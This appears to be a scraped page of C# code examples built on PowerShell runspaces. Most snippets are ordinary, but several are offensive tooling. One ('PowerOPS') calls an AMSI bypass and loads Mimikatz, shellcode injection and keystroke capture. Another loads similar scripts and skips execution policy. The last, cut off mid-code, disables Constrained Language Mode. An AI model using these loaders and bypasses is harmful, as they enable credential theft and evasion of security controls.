Ejemplo n.º 1
0
 internal override void PropagateApplicationPrivateData(Runspace runspace)
 {
     if (_applicationPrivateDataReceived.WaitOne(0))
     {
         runspace.SetApplicationPrivateData(this.GetApplicationPrivateData());
     }
 }
        protected override List <CasTransactionOutcome> ExecuteTests(TestCasConnectivity.TestCasConnectivityRunInstance instance)
        {
            ExDateTime now = ExDateTime.Now;

            TaskLogger.LogEnter();
            base.WriteVerbose(Strings.CasHealthScenarioLogon);
            if (base.TestType == OwaConnectivityTestType.External && !this.ValidateExternalTest(instance))
            {
                instance.Result.Complete();
                return(null);
            }
            LocalizedString localizedString = LocalizedString.Empty;
            Uri             uri;

            if (base.Fields.IsModified("ConnectionUri"))
            {
                uri             = this.ConnectionUri;
                localizedString = Strings.CasHealthPowerShellConnectionUri(uri.ToString(), "user supplied Uri");
            }
            else if (base.TestType == OwaConnectivityTestType.External)
            {
                uri             = instance.VirtualDirectory.ExternalUrl;
                localizedString = Strings.CasHealthPowerShellConnectionUri(uri.ToString(), "Virtual Directory External Uri");
            }
            else
            {
                uri             = instance.VirtualDirectory.InternalUrl;
                localizedString = Strings.CasHealthPowerShellConnectionUri(uri.ToString(), "Virtual Directory Internal Uri");
            }
            base.TraceInfo(localizedString);
            base.WriteVerbose(localizedString);
            ADPowerShellVirtualDirectory adpowerShellVirtualDirectory = instance.VirtualDirectory as ADPowerShellVirtualDirectory;

            if (adpowerShellVirtualDirectory != null)
            {
                base.TraceInfo(Strings.CasHealthPowerShellConnectionVirtualDirectory(adpowerShellVirtualDirectory.Name));
                base.WriteVerbose(Strings.CasHealthPowerShellConnectionVirtualDirectory(adpowerShellVirtualDirectory.Name));
            }
            if (uri == null)
            {
                CasTransactionOutcome casTransactionOutcome = this.BuildOutcome(Strings.CasHealthOwaLogonScenarioName, null, instance);
                base.TraceInfo("No External or Internal Url found for testing");
                casTransactionOutcome.Update(CasTransactionResultEnum.Failure, (base.TestType == OwaConnectivityTestType.External) ? Strings.CasHealthOwaNoExternalUrl : Strings.CasHealthOwaNoInternalUrl);
                instance.Outcomes.Enqueue(casTransactionOutcome);
                instance.Result.Outcomes.Add(casTransactionOutcome);
                base.WriteErrorAndMonitoringEvent(new LocalizedException((base.TestType == OwaConnectivityTestType.External) ? Strings.CasHealthOwaNoExternalUrl : Strings.CasHealthOwaNoInternalUrl), (ErrorCategory)1001, null, 1010, (base.TestType == OwaConnectivityTestType.External) ? "MSExchange Monitoring PowerShellConnectivity External" : "MSExchange Monitoring PowerShellConnectivity Internal", false);
                base.WriteObject(casTransactionOutcome);
            }
            else
            {
                CasTransactionOutcome casTransactionOutcome2 = this.BuildOutcome(Strings.CasHealthScenarioLogon, Strings.CasHealthPowerShellRemoteConnectionScenario(uri.ToString(), this.Authentication.ToString()), instance);
                PSCredential          credential;
                if (base.ParameterSetName == "URL")
                {
                    credential      = this.TestCredential;
                    localizedString = Strings.CasHealthPowerShellConnectionUserCredential(this.TestCredential.UserName, "user supplied");
                }
                else
                {
                    credential      = new PSCredential(instance.credentials.UserName, instance.credentials.Password.ConvertToSecureString());
                    localizedString = Strings.CasHealthPowerShellConnectionUserCredential(instance.credentials.UserName, "default for test user");
                }
                base.TraceInfo(localizedString);
                base.WriteVerbose(localizedString);
                WSManConnectionInfo wsmanConnectionInfo;
                if (base.TestType == OwaConnectivityTestType.External)
                {
                    wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", this.certThumbprint);
                }
                else
                {
                    wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credential);
                }
                if (base.Fields.IsModified("Authentication"))
                {
                    wsmanConnectionInfo.AuthenticationMechanism = this.Authentication;
                }
                else if (adpowerShellVirtualDirectory != null && adpowerShellVirtualDirectory.LiveIdBasicAuthentication != null && adpowerShellVirtualDirectory.LiveIdBasicAuthentication.Value)
                {
                    wsmanConnectionInfo.AuthenticationMechanism = AuthenticationMechanism.Basic;
                }
                base.TraceInfo(Strings.CasHealthPowerShellConnectionAuthenticationType(wsmanConnectionInfo.AuthenticationMechanism.ToString()));
                base.WriteVerbose(Strings.CasHealthPowerShellConnectionAuthenticationType(wsmanConnectionInfo.AuthenticationMechanism.ToString()));
                if (base.TrustAnySSLCertificate)
                {
                    wsmanConnectionInfo.SkipCACheck         = true;
                    wsmanConnectionInfo.SkipCNCheck         = true;
                    wsmanConnectionInfo.SkipRevocationCheck = true;
                }
                using (Runspace runspace = RunspaceFactory.CreateRunspace(TestRemotePowerShellConnectivity.psHost, wsmanConnectionInfo))
                {
                    try
                    {
                        runspace.Open();
                        base.WriteVerbose(Strings.CasHealtRemotePowerShellOpenRunspaceSucceeded);
                        base.TraceInfo(Strings.CasHealtRemotePowerShellOpenRunspaceSucceeded);
                        runspace.Close();
                        base.TraceInfo(Strings.CasHealtRemotePowerShellCloseRunspaceSucceeded);
                        base.WriteVerbose(Strings.CasHealtRemotePowerShellCloseRunspaceSucceeded);
                        casTransactionOutcome2.Update(CasTransactionResultEnum.Success, base.ComputeLatency(now), null);
                    }
                    catch (Exception ex)
                    {
                        casTransactionOutcome2.Update(CasTransactionResultEnum.Failure, base.ComputeLatency(now), ex.Message);
                        instance.Outcomes.Enqueue(casTransactionOutcome2);
                        instance.Result.Outcomes.Add(casTransactionOutcome2);
                        try
                        {
                            string hostName = Dns.GetHostName();
                            if (adpowerShellVirtualDirectory != null && string.Compare(this.casToTest.Fqdn, Dns.GetHostEntry(hostName).HostName, true) == 0)
                            {
                                this.CheckRequiredServicesAndAppPool(adpowerShellVirtualDirectory);
                            }
                        }
                        catch (Exception)
                        {
                        }
                        base.WriteErrorAndMonitoringEvent(new LocalizedException(Strings.CasHealthPowerShellLogonFailed((adpowerShellVirtualDirectory != null) ? adpowerShellVirtualDirectory.Name : this.ConnectionUri.ToString(), ex.Message)), (ErrorCategory)1001, null, 1001, (base.TestType == OwaConnectivityTestType.External) ? "MSExchange Monitoring PowerShellConnectivity External" : "MSExchange Monitoring PowerShellConnectivity Internal", false);
                    }
                    finally
                    {
                        base.WriteObject(casTransactionOutcome2);
                    }
                }
                instance.Result.Complete();
            }
            return(null);
        }
Ejemplo n.º 3
0
 protected void ReportError(ErrorRecord record)
 {
     WriteErrorLine(Runspace.ExtractErrorFromErrorRecord(record));
 }
Ejemplo n.º 4
0
 protected Collection <PSObject> ExecuteShellCommand(Runspace runSpace, Command cmd, bool useDomainController)
 {
     object[] errors;
     return(ExecuteShellCommand(runSpace, cmd, useDomainController, out errors));
 }
Ejemplo n.º 5
0
 public void Dispose()
 {
     Pipeline.Dispose();
     Runspace.Dispose();
     PSHost = null;
 }
Ejemplo n.º 6
0
        /// <summary>
        /// Wires up a PowerShell runspace created via <see cref="RunspaceFactory.CreateRunspace()"/> to the terminal to display the PowerShell to the user.
        /// </summary>
        public override void Connect()
        {
            _terminal.Font = Connection.Font;

            _progressBar.Value  = 0;
            _progressLabel.Text = "";

            // This is not strictly a network connection:  we're relaying information that we receive from the runspace to the terminal over a local stream
            // (a StreamConnection in this case)
            ITerminalParameter terminalParam = new EmptyTerminalParameter();
            StreamConnection   connection    = new StreamConnection(terminalParam)
            {
                Capture = false
            };

            // Attach the new "connection" to the terminal control
            try
            {
                ITerminalSettings terminalSettings = PoderosaTerminalEmulatorService.CreateDefaultTerminalSettings(Connection.DisplayName, null);
                TerminalSession   session          = new TerminalSession(connection, terminalSettings);
                SessionHost       sessionHost      = new SessionHost(PoderosaSessionManagerPlugin, session);
                TerminalView      terminalView     = new TerminalView(null, _terminal);
                RenderProfile     renderProfile    = new RenderProfile(_terminal.GetRenderProfile());

                renderProfile.BackColor = Connection.BackgroundColor;
                renderProfile.ForeColor = Connection.TextColor;

                session.TerminalSettings.BeginUpdate();
                session.TerminalSettings.RenderProfile = renderProfile;
                session.TerminalSettings.EndUpdate();

                _terminal.Attach(session);

                session.InternalStart(sessionHost);
                session.InternalAttachView(sessionHost.DocumentAt(0), terminalView);

                _powerShellHost = new PowerShellHost(this, _terminal, connection, ExecuteQuiet, _progressBar, _progressLabel);

                // Create the host and runspace instances for this interpreter.  If we're connecting to the local host, don't bother with the connection info.
                // ReSharper disable StringCompareIsCultureSpecific.3
                if (String.Compare(Connection.Host, "localhost", true) != 0 && Connection.Host != "127.0.0.1" &&
                    String.Compare(Connection.Host, Environment.MachineName, true) != 0)
                // ReSharper restore StringCompareIsCultureSpecific.3
                {
                    WSManConnectionInfo connectionInfo = new WSManConnectionInfo
                    {
                        ComputerName = Connection.Host
                    };

                    if (!String.IsNullOrEmpty(Connection.InheritedUsername))
                    {
                        connectionInfo.Credential = new PSCredential(Connection.InheritedUsername, Connection.InheritedPassword);
                    }

                    Runspace = RunspaceFactory.CreateRunspace(_powerShellHost, connectionInfo);
                }

                else
                {
                    Runspace = RunspaceFactory.CreateRunspace(_powerShellHost);
                }

                Runspace.Open();
            }

            catch (Exception e)
            {
                OnConnectionLost(this, new ErrorEventArgs(e));
                return;
            }

            // Start capturing input from the prompt via the input loop
            _inputThread = new Thread(InputLoop)
            {
                Name = "PowerShellConnectionForm Input Thread"
            };
            _inputThread.Start();

            ParentForm.Closing += ParentForm_Closing;

            OnConnected(this, null);
        }
Ejemplo n.º 7
0
 protected Collection <PSObject> ExecuteShellCommand(Runspace runSpace, Command cmd)
 {
     return(ExecuteShellCommand(runSpace, cmd, true));
 }
Ejemplo n.º 8
0
 public PS()
 {
     this.runspace = RunspaceFactory.CreateRunspace();
     // open it
     this.runspace.Open();
 }
        protected void InvokeScript(string eventName, SPListEventProperties properties)
        {
            using (SPSite site = new SPSite(properties.WebUrl))
            {
                using (SPWeb web = site.OpenWeb(properties.WebId))
                {
                    SPList  list  = web.Lists[properties.ListId];
                    SPField field = properties.Field;;

                    SPFeature feature = web.Features[PowerEventReceiversConstants.FeatureId];

                    SPSecurity.RunWithElevatedPrivileges(delegate()
                    {
                        Runspace runspace = RunspaceFactory.CreateRunspace();

                        runspace.Open();

                        runspace.SessionStateProxy.SetVariable("this", this);
                        runspace.SessionStateProxy.SetVariable("properties", properties);
                        runspace.SessionStateProxy.SetVariable("site", site);
                        runspace.SessionStateProxy.SetVariable("web", web);
                        runspace.SessionStateProxy.SetVariable("list", list);
                        runspace.SessionStateProxy.SetVariable("field", field);
                        runspace.SessionStateProxy.SetVariable("user", web.SiteUsers[properties.UserLoginName]);

                        string script = feature.Properties[PowerEventReceiversConstants.PowerListEventReceiverPropNamePrefixScript + list.RootFolder.Url].Value;

                        try
                        {
                            Pipeline pipe = runspace.CreatePipeline(PowerEventReceiversConstants.PowerEventReceiversPredefinedFunctions);
                            pipe.Invoke();

                            pipe = runspace.CreatePipeline(script);
                            pipe.Invoke();

                            //check if the event's function is defined
                            List <string> functions = PowerEventReceiverHelper.GetFunctions(runspace);
                            if (functions.Contains(eventName.ToLower()) == false)
                            {
                                return;
                            }

                            pipe = runspace.CreatePipeline(eventName);
                            pipe.Invoke();
                            object objProperties = runspace.SessionStateProxy.GetVariable("properties");
                            if (objProperties != null)
                            {
                                if (objProperties is PSObject)
                                {
                                    properties = (SPListEventProperties)((PSObject)objProperties).BaseObject;
                                }
                                else
                                {
                                    properties = (SPListEventProperties)objProperties;
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            try
                            {
                                EventLog.WriteEntry(this.GetType().FullName, ex.Message + "\n" + ex.StackTrace, EventLogEntryType.Error);
                            }
                            catch { }

                            properties.Cancel       = true;
                            properties.ErrorMessage = ex.Message;
                        }
                        finally
                        {
                            if (runspace != null && runspace.RunspaceStateInfo.State != RunspaceState.Closed)
                            {
                                runspace.Close();
                                runspace = null;
                            }
                        }
                    });
                }
            }
        }
Ejemplo n.º 10
0
        public StorageSpaceFolderShare ShareFolder(string fullPath, string shareName)
        {
            Runspace runspace = null;

            shareName = shareName.Replace(" ", "");

            try
            {
                runspace = OpenRunspace();

                if (ShareExist(shareName, runspace))
                {
                    var share = GetShare(shareName, runspace);

                    if (String.Compare(share.Path, fullPath, StringComparison.InvariantCultureIgnoreCase) == 0)
                    {
                        return(share);
                    }

                    //finding first not used share name
                    for (int i = 0; i < int.MaxValue; i++)
                    {
                        var tmpShareName = shareName + i;

                        if (!ShareExist(tmpShareName, runspace))
                        {
                            shareName = tmpShareName;
                            break;
                        }
                    }
                }

                Log.WriteStart("ShareFolder");
                Log.WriteInfo("FolderPath : {0}", fullPath);

                // 01.09.2015 [email protected]
                // Problem: On German Systems the Accounts 'NETWORK SERVICE' and 'EVERYONE' does not exist.
                // The equivalent in German is 'NETZWERKDIENST' for 'NETWORK SERVICE' and 'JEDER' for 'EVERYONE'
                // FIX: To Fix this translate the SID for the Accounts into the current Language

                //var scripts = new List<string>
                //{
                //    string.Format("net share {0}=\"{1}\" \"/grant:NETWORK SERVICE,full\" \"/grant:Everyone,full\"",shareName, fullPath)
                //};

                var scripts = new List <string>
                {
                    string.Format(CultureInfo.InvariantCulture, "net share {0}=\"{1}\" \"/grant:{2},full\" \"/grant:{3},full\"",
                                  shareName,
                                  fullPath,
                                  SecurityUtils.GetAccountNameFromSid(System.Security.Principal.WellKnownSidType.NetworkServiceSid, ServerSettings),
                                  SecurityUtils.GetAccountNameFromSid(SystemSID.EVERYONE, ServerSettings))
                };

                object[] errors = null;
                var      result = ExecuteLocalScript(runspace, scripts, out errors);

                return(GetShare(shareName, runspace));
            }
            catch (Exception ex)
            {
                Log.WriteError(ex);
                throw;
            }
            finally
            {
                CloseRunspace(runspace);
                Log.WriteEnd("ShareFolder");
            }
        }
Ejemplo n.º 11
0
 public PowershellEnvironment()
 {
     initialSessionState = InitialSessionState.CreateDefault();
     runspace            = RunspaceFactory.CreateRunspace(initialSessionState);
 }
Ejemplo n.º 12
0
        public static void Main()
        {
            Console.Title = "PowerOPS - [email protected]";
            Console.SetWindowSize(Math.Min(122, Console.LargestWindowWidth), Math.Min(40, Console.LargestWindowHeight));
            Console.SetBufferSize(Console.BufferWidth, Console.BufferHeight);

            // Amsi bypass technique from: http://cn33liz.blogspot.co.uk/2016/05/bypassing-amsi-using-powershell-5-dll.html
            string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");

            amsibypass.Amsi(Arch);

            string command = null;

            DisplayBanner();
            Console.WriteLine("Type 'show' to list available modules\n");

            Runspace runspace = RunspaceFactory.CreateRunspace();

            runspace.Open();

            do
            {
                Console.Write("PS > ");
                command = Console.ReadLine();

                switch (command)
                {
                case "show":
                    DisplayModules();
                    break;

                case "exit":
                    string path = Directory.GetCurrentDirectory();

                    if (File.Exists(path + "\\Amsi.dll"))
                    {
                        File.Delete(path + "\\Amsi.dll");
                    }

                    runspace.Close();
                    Environment.Exit(0);
                    return;

                default:
                    if (command.IndexOf("Invoke-Mimikatz", StringComparison.OrdinalIgnoreCase) == 0)
                    {
                        if (!IsUserAdministrator())
                        {
                            break;
                        }
                    }
                    if (command.IndexOf("Get-PassHashes", StringComparison.OrdinalIgnoreCase) == 0)
                    {
                        if (!IsUserAdministrator())
                        {
                            break;
                        }
                    }
                    if (command.IndexOf("Invoke-Shellcode", StringComparison.OrdinalIgnoreCase) == 0)
                    {
                        if (!isArch_x86())
                        {
                            break;
                        }
                    }

                    try
                    {
                        Pipeline pipeline = runspace.CreatePipeline();
                        pipeline.Commands.AddScript(PowerOPS.GetKeyStrokes());
                        pipeline.Commands.AddScript(PowerOPS.InvokeDLLInjection());
                        pipeline.Commands.AddScript(PowerOPS.InvokeMimikatz());
                        pipeline.Commands.AddScript(PowerOPS.InvokeNinjaCopy());
                        pipeline.Commands.AddScript(PowerOPS.InvokeReflectivePEInjection());
                        pipeline.Commands.AddScript(PowerOPS.InvokeShellcode());
                        pipeline.Commands.AddScript(PowerOPS.InvokeTokenManipulation());
                        pipeline.Commands.AddScript(PowerOPS.InvokeWMICommand());
                        pipeline.Commands.AddScript(PowerOPS.PowerUp());
                        pipeline.Commands.AddScript(PowerOPS.PowerView());
                        pipeline.Commands.AddScript(PowerOPS.Nishang_GetInformation());
                        pipeline.Commands.AddScript(PowerOPS.Nishang_GetPassHashes());
                        pipeline.Commands.AddScript(PowerOPS.Nishang_PortScan());
                        pipeline.Commands.AddScript(PowerOPS.AutoGPPPassword());
                        pipeline.Commands.AddScript(PowerOPS.PowerCat());
                        pipeline.Commands.AddScript(PowerOPS.Empire_InvokePSExec());
                        pipeline.Commands.AddScript(PowerOPS.Empire_InvokeSshCommand());
                        pipeline.Commands.AddScript(command);
                        pipeline.Commands.Add("Out-String");
                        Collection <PSObject> results = pipeline.Invoke();

                        StringBuilder stringBuilder = new StringBuilder();
                        foreach (PSObject obj in results)
                        {
                            stringBuilder.AppendLine(obj.ToString());
                        }
                        Console.Write(stringBuilder.ToString());
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("{0}", e.Message);
                    }
                    break;
                }
            } while (command != "exit");
        }
Ejemplo n.º 13
0
 bool IPSConsoleReadLineMockableMethods.RunspaceIsRemote(Runspace runspace)
 {
     return(runspace?.ConnectionInfo != null);
 }
Ejemplo n.º 14
0
        private void Initialize(Runspace runspace, EngineIntrinsics engineIntrinsics)
        {
            _engineIntrinsics = engineIntrinsics;
            _runspace         = runspace;

            if (!_delayedOneTimeInitCompleted)
            {
                DelayedOneTimeInitialize();
                _delayedOneTimeInitCompleted = true;
            }

            _previousRender              = _initialPrevRender;
            _previousRender.bufferWidth  = _console.BufferWidth;
            _previousRender.bufferHeight = _console.BufferHeight;
            _previousRender.errorPrompt  = false;
            _buffer.Clear();
            _edits                = new List <EditItem>();
            _undoEditIndex        = 0;
            _editGroupStart       = -1;
            _current              = 0;
            _mark                 = 0;
            _emphasisStart        = -1;
            _emphasisLength       = 0;
            _tokens               = null;
            _parseErrors          = null;
            _inputAccepted        = false;
            _initialX             = _console.CursorLeft;
            _initialY             = _console.CursorTop;
            _initialForeground    = _console.ForegroundColor;
            _initialBackground    = _console.BackgroundColor;
            _statusIsErrorMessage = false;

            _initialOutputEncoding = _console.OutputEncoding;

            // Don't change the OutputEncoding if already UTF8, no console, or using raster font on Windows
            _skipOutputEncodingChange = _initialOutputEncoding == Encoding.UTF8 ||
                                        (RuntimeInformation.IsOSPlatform(OSPlatform.Windows) &&
                                         PlatformWindows.IsConsoleInput() &&
                                         PlatformWindows.IsUsingRasterFont());

            if (!_skipOutputEncodingChange)
            {
                _console.OutputEncoding = Encoding.UTF8;
            }

            _lastRenderTime = Stopwatch.StartNew();

            _killCommandCount            = 0;
            _yankCommandCount            = 0;
            _yankLastArgCommandCount     = 0;
            _tabCommandCount             = 0;
            _recallHistoryCommandCount   = 0;
            _anyHistoryCommandCount      = 0;
            _visualSelectionCommandCount = 0;
            _hashedHistory = null;

            if (_getNextHistoryIndex > 0)
            {
                _currentHistoryIndex = _getNextHistoryIndex;
                UpdateFromHistory(HistoryMoveCursor.ToEnd);
                _getNextHistoryIndex = 0;
                if (_searchHistoryCommandCount > 0)
                {
                    _searchHistoryPrefix = "";
                    if (Options.HistoryNoDuplicates)
                    {
                        _hashedHistory = new Dictionary <string, int>();
                    }
                }
            }
            else
            {
                _currentHistoryIndex       = _history.Count;
                _searchHistoryCommandCount = 0;
            }
            if (_previousHistoryItem != null)
            {
                _previousHistoryItem.ApproximateElapsedTime = DateTime.UtcNow - _previousHistoryItem.StartTime;
            }
        }
Ejemplo n.º 15
0
 internal virtual void PropagateApplicationPrivateData(Runspace runspace)
 {
     runspace.SetApplicationPrivateData(this.GetApplicationPrivateData());
 }
        //Based on Jared Atkinson's And Justin Warner's Work
        public static string RunPSCommand(string cmd)
        {
            //Init stuff
            InitialSessionState initial = InitialSessionState.CreateDefault();

            // Replace PSAuthorizationManager with a null manager which ignores execution policy
            initial.AuthorizationManager = new System.Management.Automation.AuthorizationManager("MyShellId");

            Runspace runspace = RunspaceFactory.CreateRunspace(initial);

            runspace.Open();
            RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
            Pipeline       pipeline      = runspace.CreatePipeline();

            //Add commands
            if (cmd.IndexOf("Invoke-Shellcode", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_Shellcode());
            }
            if (cmd.IndexOf("Invoke-Mimikatz", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_Mimikatz());
            }
            if (cmd.IndexOf("Invoke-ReflectivePEInjection", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_ReflectivePEInjection());
            }
            if (cmd.IndexOf("Invoke-PsExec", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_PsExec());
            }
            if (cmd.IndexOf("Invoke-TokenManipulation", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_TokenManipulation());
            }
            if (cmd.IndexOf("PowerCat", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.PowerCat());
            }
            if (cmd.IndexOf("Invoke-Encode", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                pipeline.Commands.AddScript(Resources.Invoke_Encode());
            }

            pipeline.Commands.AddScript(Resources.Invoke_PowerView());
            pipeline.Commands.AddScript(Resources.Invoke_PowerUp());
            pipeline.Commands.AddScript(cmd);

            //Prep PS for string output and invoke
            pipeline.Commands.Add("Out-String");
            Collection <PSObject> results = pipeline.Invoke();

            runspace.Close();

            //Convert records to strings
            StringBuilder stringBuilder = new StringBuilder();

            foreach (PSObject obj in results)
            {
                stringBuilder.Append(obj);
            }
            return(stringBuilder.ToString());
        }
Ejemplo n.º 17
0
        /// <summary>
        /// Entry point - called by custom PSHost implementations that require the
        /// ability to cancel ReadLine.
        /// </summary>
        /// <returns>The complete command line.</returns>
        public static string ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics, CancellationToken cancellationToken)
        {
            var console = _singleton._console;

            if (Console.IsInputRedirected || Console.IsOutputRedirected)
            {
                // System.Console doesn't handle redirected input. It matches the behavior on Windows
                // by throwing an "InvalidOperationException".
                // Therefore, if either stdin or stdout is redirected, PSReadLine doesn't really work,
                // so throw and let PowerShell call Console.ReadLine or do whatever else it decides to do.
                //
                // Some CI environments redirect stdin/stdout, but that doesn't affect our test runs
                // because the console is mocked, so we can skip the exception.
                if (!IsRunningCI(console))
                {
                    throw new NotSupportedException();
                }
            }

            var oldControlCAsInput = false;

            if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                PlatformWindows.Init(ref _singleton._charMap);
            }
            else
            {
                try
                {
                    oldControlCAsInput           = Console.TreatControlCAsInput;
                    Console.TreatControlCAsInput = true;
                }
                catch {}
            }

            bool firstTime = true;

            while (true)
            {
                try
                {
                    if (firstTime)
                    {
                        firstTime = false;
                        _singleton.Initialize(runspace, engineIntrinsics);
                    }

                    _singleton._cancelReadCancellationToken = cancellationToken;
                    _singleton._requestKeyWaitHandles[2]    = _singleton._cancelReadCancellationToken.WaitHandle;
                    return(_singleton.InputLoop());
                }
                catch (OperationCanceledException)
                {
                    // Console is either exiting or the cancellation of ReadLine has been requested
                    // by a custom PSHost implementation.
                    return("");
                }
                catch (ExitException)
                {
                    return("exit");
                }
                catch (CustomHandlerException e)
                {
                    var oldColor = console.ForegroundColor;
                    console.ForegroundColor = ConsoleColor.Red;
                    console.WriteLine(
                        string.Format(CultureInfo.CurrentUICulture, PSReadLineResources.OopsCustomHandlerException, e.InnerException.Message));
                    console.ForegroundColor = oldColor;

                    var lineBeforeCrash = _singleton._buffer.ToString();
                    _singleton.Initialize(runspace, _singleton._engineIntrinsics);
                    InvokePrompt();
                    Insert(lineBeforeCrash);
                }
                catch (Exception e)
                {
                    // If we're running tests, just throw.
                    if (_singleton._mockableMethods != _singleton)
                    {
                        throw;
                    }

                    while (e.InnerException != null)
                    {
                        e = e.InnerException;
                    }
                    var oldColor = console.ForegroundColor;
                    console.ForegroundColor = ConsoleColor.Red;
                    console.WriteLine(PSReadLineResources.OopsAnErrorMessage1);
                    console.ForegroundColor = oldColor;
                    var sb = new StringBuilder();
                    for (int i = 0; i < _lastNKeys.Count; i++)
                    {
                        sb.Append(' ');
                        sb.Append(_lastNKeys[i].KeyStr);

                        if (_singleton._dispatchTable.TryGetValue(_lastNKeys[i], out var handler) &&
                            "AcceptLine".Equals(handler.BriefDescription, StringComparison.OrdinalIgnoreCase))
                        {
                            // Make it a little easier to see the keys
                            sb.Append('\n');
                        }
                    }

                    var psVersion  = PSObject.AsPSObject(engineIntrinsics.Host.Version).ToString();
                    var ourVersion = typeof(PSConsoleReadLine).Assembly.GetCustomAttributes <AssemblyInformationalVersionAttribute>().First().InformationalVersion;
                    var osInfo     = RuntimeInformation.OSDescription;

                    console.WriteLine(string.Format(CultureInfo.CurrentUICulture, PSReadLineResources.OopsAnErrorMessage2,
                                                    ourVersion, psVersion, osInfo,
                                                    _lastNKeys.Count, sb, e));
                    var lineBeforeCrash = _singleton._buffer.ToString();
                    _singleton.Initialize(runspace, _singleton._engineIntrinsics);
                    InvokePrompt();
                    Insert(lineBeforeCrash);
                }
                finally
                {
                    try
                    {
                        // If we are closing, restoring the old console settings isn't needed,
                        // and some operating systems, it can cause a hang.
                        if (!_singleton._closingWaitHandle.WaitOne(0))
                        {
                            console.OutputEncoding = _singleton._initialOutputEncoding;

                            bool IsValid(ConsoleColor color)
                            {
                                return(color >= ConsoleColor.Black && color <= ConsoleColor.White);
                            }

                            if (IsValid(_singleton._initialForeground))
                            {
                                console.ForegroundColor = _singleton._initialForeground;
                            }
                            if (IsValid(_singleton._initialBackground))
                            {
                                console.BackgroundColor = _singleton._initialBackground;
                            }
                            if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                            {
                                Console.TreatControlCAsInput = oldControlCAsInput;
                            }
                        }
                    }
                    catch { }

                    if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                    {
                        PlatformWindows.Complete();
                    }
                }
            }
        }
 private void LocalPowerShell_RunspaceAssigned(object sender, PSEventArgs <Runspace> e)
 {
     _rsUsedToInvokePowerShell = e.Args;
 }
Ejemplo n.º 19
0
        public static void BeginInvoke()
        {
            var config       = services.GetService <IConfigurationRoot>();
            var computerName = config.GetValue("ComputerName", "localhost");
            var script       = config.GetValue("Script", "1..60 | % { \"Received $_ $(Get-Date)\"; Start-Sleep 5 } | Tee ~\\log.txt");

            PSCredential credential = GetCredential(config);

            logger.LogDebug($"Connecting to {computerName}");

            var connection = new WSManConnectionInfo("http", computerName, 5985, "wsman", $"http://schemas.microsoft.com/powershell/PowerShell.6", credential);

            connection.IdleTimeout = 30 * 1000 * 60; // thirty minutes

            if (!string.IsNullOrWhiteSpace(script))
            {
                logger.LogDebug($"Create runspace, and run {{{script}}}");
                // When given a script, run it
                var runspace = RunspaceFactory.CreateRunspace(connection);
                runspace.Open();

                using (var powershell = System.Management.Automation.PowerShell.Create())
                {
                    powershell.Runspace = runspace;
                    powershell.AddScript(script);
                    powershell.BeginInvoke();
                    Thread.Sleep(250);
                    runspace.Disconnect();
                }
            }
            else
            {
                // Without a script, look for existing runspaces
                foreach (var runspace in Runspace.GetRunspaces(connection))
                {
                    if (runspace.RunspaceStateInfo.State == RunspaceState.Disconnected)
                    {
                        logger.LogDebug($"Connect runspace {runspace.Name} which is {runspace.RunspaceStateInfo.State}");

                        using (var powershell = runspace.CreateDisconnectedPowerShell())
                        {
                            //var powershell = System.Management.Automation.PowerShell.Create();
                            //powershell.Runspace = runspace;

                            logger.LogDebug($"Connect PowerShell {powershell.InstanceId} which is {powershell.InvocationStateInfo.State}");

                            foreach (var result in powershell.Connect())
                            {
                                Console.WriteLine(LanguagePrimitives.ConvertTo(result, typeof(string)));
                            }
                        }
                    }
                    else
                    {
                        logger.LogDebug($"Cannot reconnect runspace {runspace.Name} which is {runspace.RunspaceStateInfo.State}");
                    }
                }
            }

            //ManualResetEvent running = new ManualResetEvent(false);
            //using (running)
            //{
            //    ps.InvocationStateChanged += (sender, args) =>
            //    {
            //        logger.LogDebug($"InvocationState: {args.InvocationStateInfo.State}");
            //        if (running != null && args.InvocationStateInfo.State == PSInvocationState.Running)
            //        {
            //            running.Set();
            //        }
            //    };

            //    ps.BeginInvoke();
            //    logger.LogDebug($"WaitOne");
            //    running.WaitOne();
            //    Thread.Sleep(500);
            //    logger.LogDebug($"Disconnect");
            //    runspace.Disconnect();
            //}
            //running = null;
        }
        public static int Start(string arg)
        {
            Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
            Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());

            if (arg.Length > 0)
            {
                Console.WriteLine($"\tPassed argument: '{arg}'");
            }

            // Switches back to FullLanguage in CLM
            Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;

            try
            {
                Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;

                // Bypasses PowerShell execution policy
                Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
            }
            catch (Exception e)
            {
                Console.WriteLine("[-] Approach #1 failed: " + e);
            }

            try
            {
                Runspace runspace = RunspaceFactory.CreateRunspace();
                runspace.ApartmentState = System.Threading.ApartmentState.STA;
                runspace.ThreadOptions  = PSThreadOptions.UseCurrentThread;
                runspace.Open();
                runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
                runspace.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("[-] Approach #2 failed: " + e);
            }

            try
            {
